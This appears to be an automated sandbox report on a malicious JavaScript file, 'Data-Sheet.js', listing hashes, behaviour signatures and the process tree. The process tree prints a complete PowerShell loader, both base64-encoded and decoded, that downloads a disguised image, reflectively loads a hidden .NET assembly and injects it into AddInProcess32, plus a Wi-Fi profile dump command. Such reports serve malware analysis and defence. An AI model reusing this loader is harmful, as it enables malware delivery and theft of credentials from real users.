Analysis
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max time kernel
125s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
18-06-2024 09:35
Static task
static1
Behavioral task
behavioral1
Sample
Data-Sheet.js
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
Data-Sheet.js
Resource
win10v2004-20240611-en
General
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Target
Data-Sheet.js
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Size
32KB
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MD5
f83ca689e03194dae68a7c1c6dfcfaf4
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SHA1
6dff0eb5bcbdde1450eee59363abfeb32996f0e9
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SHA256
8ab47db42a777fa45a2eded252d0d3001a67efcff1cb9cc34b4d92d17800a020
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SHA512
0f0aad4873fa57a8770a70e3aceeb354fa68a599139cd36a9aa41d778f71e2ec2053cb71065923b6266b4d4fdd6c00f0cd2b1217ba541b4078627f77899ab019
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SSDEEP
384:/4bHOGs/AkVLg/U+/X/69tP5gHxSqU8HheWps/CsSI:/4b5s/AkVU/T/X/69tPuRSqFBeWpVsSI
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 2 2996 wscript.exe 4 2996 wscript.exe 6 2996 wscript.exe 27 4048 powershell.exe 29 4048 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4048 powershell.exe 2636 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 34 icanhazip.com 38 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4048 set thread context of 4764 4048 powershell.exe 96 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 AddInProcess32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2636 powershell.exe 2636 powershell.exe 4048 powershell.exe 4048 powershell.exe 4764 AddInProcess32.exe 4764 AddInProcess32.exe 4764 AddInProcess32.exe 4764 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2636 powershell.exe Token: SeDebugPrivilege 4048 powershell.exe Token: SeDebugPrivilege 4764 AddInProcess32.exe Token: SeSecurityPrivilege 4024 msiexec.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2996 wrote to memory of 2636 2996 wscript.exe 92 PID 2996 wrote to memory of 2636 2996 wscript.exe 92 PID 2636 wrote to memory of 4048 2636 powershell.exe 94 PID 2636 wrote to memory of 4048 2636 powershell.exe 94 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4048 wrote to memory of 4764 4048 powershell.exe 96 PID 4764 wrote to memory of 4224 4764 AddInProcess32.exe 98 PID 4764 wrote to memory of 4224 4764 AddInProcess32.exe 98 PID 4764 wrote to memory of 4224 4764 AddInProcess32.exe 98 PID 4224 wrote to memory of 4344 4224 cmd.exe 101 PID 4224 wrote to memory of 4344 4224 cmd.exe 101 PID 4224 wrote to memory of 4344 4224 cmd.exe 101 PID 4224 wrote to memory of 3428 4224 cmd.exe 102 PID 4224 wrote to memory of 3428 4224 cmd.exe 102 PID 4224 wrote to memory of 3428 4224 cmd.exe 102 PID 4224 wrote to memory of 5012 4224 cmd.exe 103 PID 4224 wrote to memory of 5012 4224 cmd.exe 103 PID 4224 wrote to memory of 5012 4224 cmd.exe 103 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Data-Sheet.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5OC8wMTUvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE4Mjg0MjE2JywgJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc5OC8wMTUvb3JpZ2luYWwvbmV3X2ltYWdlLmpwZz8xNzE4Mjg0MjE2Jyk7ICRpbWFnZUJ5dGVzID0gRG93bmxvYWREYXRhRnJvbUxpbmtzICRsaW5rczsgaWYgKCRpbWFnZUJ5dGVzIC1uZSAkbnVsbCkgeyAkaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGltYWdlQnl0ZXMpOyAkc3RhcnRGbGFnID0gJzw8QkFTRTY0X1NUQVJUPj4nOyAkZW5kRmxhZyA9ICc8PEJBU0U2NF9FTkQ+Pic7ICRzdGFydEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRzdGFydEZsYWcpOyAkZW5kSW5kZXggPSAkaW1hZ2VUZXh0LkluZGV4T2YoJGVuZEZsYWcpOyBpZiAoJHN0YXJ0SW5kZXggLWdlIDAgLWFuZCAkZW5kSW5kZXggLWd0ICRzdGFydEluZGV4KSB7ICRzdGFydEluZGV4ICs9ICRzdGFydEZsYWcuTGVuZ3RoOyAkYmFzZTY0TGVuZ3RoID0gJGVuZEluZGV4IC0gJHN0YXJ0SW5kZXg7ICRiYXNlNjRDb21tYW5kID0gJGltYWdlVGV4dC5TdWJzdHJpbmcoJHN0YXJ0SW5kZXgsICRiYXNlNjRMZW5ndGgpOyAkY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYmFzZTY0Q29tbWFuZCk7ICRsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGNvbW1hbmRCeXRlcyk7ICR0eXBlID0gJGxvYWRlZEFzc2VtYmx5LkdldFR5cGUoJ1J1blBFLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LmN0LzE5LjMwMS44Ny43NDEvLzpwdHRoJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJywnQWRkSW5Qcm9jZXNzMzInLCdkZXNhdGl2YWRvJykpfX0=';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/798/015/original/new_image.jpg?1718284216', 'https://uploaddeimagens.com.br/images/004/798/015/original/new_image.jpg?1718284216'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ct/19.301.87.741//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:4764 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All5⤵
- Suspicious use of WriteProcessMemory
PID:4224 -
C:\Windows\SysWOW64\chcp.comchcp 650016⤵PID:4344
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile6⤵PID:3428
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C:\Windows\SysWOW64\findstr.exefindstr All6⤵PID:5012
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4184,i,11751898164297348119,13021661521765644467,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:81⤵PID:4704
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4024
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
1KB
MD50f6a3762a04bbb03336fb66a040afb97
SHA10a0495c79f3c8f4cb349d82870ad9f98fbbaac74
SHA25636e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
SHA512cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82